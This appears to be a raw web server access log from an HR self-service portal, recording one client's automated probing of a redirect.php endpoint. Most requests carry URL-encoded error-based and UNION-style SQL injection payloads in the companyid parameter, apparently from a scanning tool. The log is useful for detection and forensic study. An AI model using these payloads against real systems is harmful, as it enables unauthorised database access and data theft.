100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x694f6552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69577155%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FyjbP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x495a6531%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394d5a49%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FmQY3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a7a5136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e534869%29%2C6420%29%23%2F%2A%2A%2Fl2hh&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5369626f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4f48%29%29%23%2F%2A%2A%2FVCb6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x707a3345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39724533%29%2C6420%29%23%2F%2A%2A%2FVnT3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6c623457%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57337975%29%2C5431%29%23%2F%2A%2A%2Fs9aH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x556e464c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43684379%29%29%23%2F%2A%2A%2Fgxa6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78725a71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a4957%29%2C5431%29%23%2F%2A%2A%2Ff5jg&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x48724941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c53647a%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3hhD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x48724941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c53647a%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3hhD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:58 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x48724941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c53647a%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3hhD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d4f4234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f5877%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNIDt%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d4f4234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f5877%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNIDt%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56334e50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474d4550%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F0PXE&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
